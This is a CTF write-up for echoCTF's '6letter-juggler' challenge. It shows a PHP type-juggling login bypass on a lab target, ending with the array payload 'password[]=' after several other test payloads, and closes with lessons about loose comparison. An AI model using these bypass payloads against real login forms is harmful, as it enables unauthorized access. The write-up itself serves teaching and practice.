> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# echoCTF 6letter-juggler Writeup: PHP Type Juggling Auth Bypass
- URL: https://taiwanding.com/en/echoctf-6letter-juggler-writeup/
- Published: 2025-09-04T06:54:44.000Z
- Updated: 2026-07-15T02:49:45.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## **Challenge Info**

- **Platform**: echoCTF
- **Category**: Web Security
- **Difficulty**: **CTF Beginners** (510 points)
- **Description**: "Try to bypass the authentication screen by either guessing the password (not really) or through some other way..."
- **Challenge Link**: [https://echoctf.red/target/52](https://echoctf.red/target/52?ref=taiwanding.com)

## **Walkthrough**

### **Step 1: Initial Analysis**

Visiting the site, I found a simple login form. The challenge name "**6letter-juggler**" hands us a couple of hints:

- `6letter` \- probably suggests a 6-character password
- `juggler` \- in CTFs this usually points to a **PHP Type Juggling** vulnerability

### **Step 2: Attempt a login and** observe the URL structure:

```
http://10.0.41.13:1337/index.php?login=John&password=test

```

The credentials are passed via GET parameters.

### **Step 3: Trying a Type Juggling Attack**

PHP's loose type comparison could be exploitable, so I threw a variety of payloads at it:

```bash
# Try a numeric value
http://10.0.41.13:1337/index.php?login=John&password=0

# Try a boolean
http://10.0.41.13:1337/index.php?login=John&password=true

# Try NULL
http://10.0.41.13:1337/index.php?login=John&password=null

```

### **Step 4: Array Parameter Bypass**

In PHP, when a function expects a string but receives an array, it may return NULL or throw an error:

```bash
# Pass an empty array as the password
http://10.0.41.13:1337/index.php?login=John&password[]=

```

**Step 5: Bypass successful!** The array parameter got us past authentication:

```
Flag: ETSCTF_REDACTED

```

## **Key Takeaways**

- **The challenge name matters**: `juggler` hinted at the Type Juggling vulnerability
- **The risk of PHP's loose typing**: using `==` instead of `===` can lead to security issues
- **The array parameter trick**: `password[]=` is a classic bypass technique

## Lessons Learned

While working through this challenge, I didn't immediately spot that this vulnerability was exploitable. Like usual, I did some recon first — directory brute-forcing, checking the source code, running sqlmap, testing for directory traversal — and only afterwards came back to tinker with this GET URL.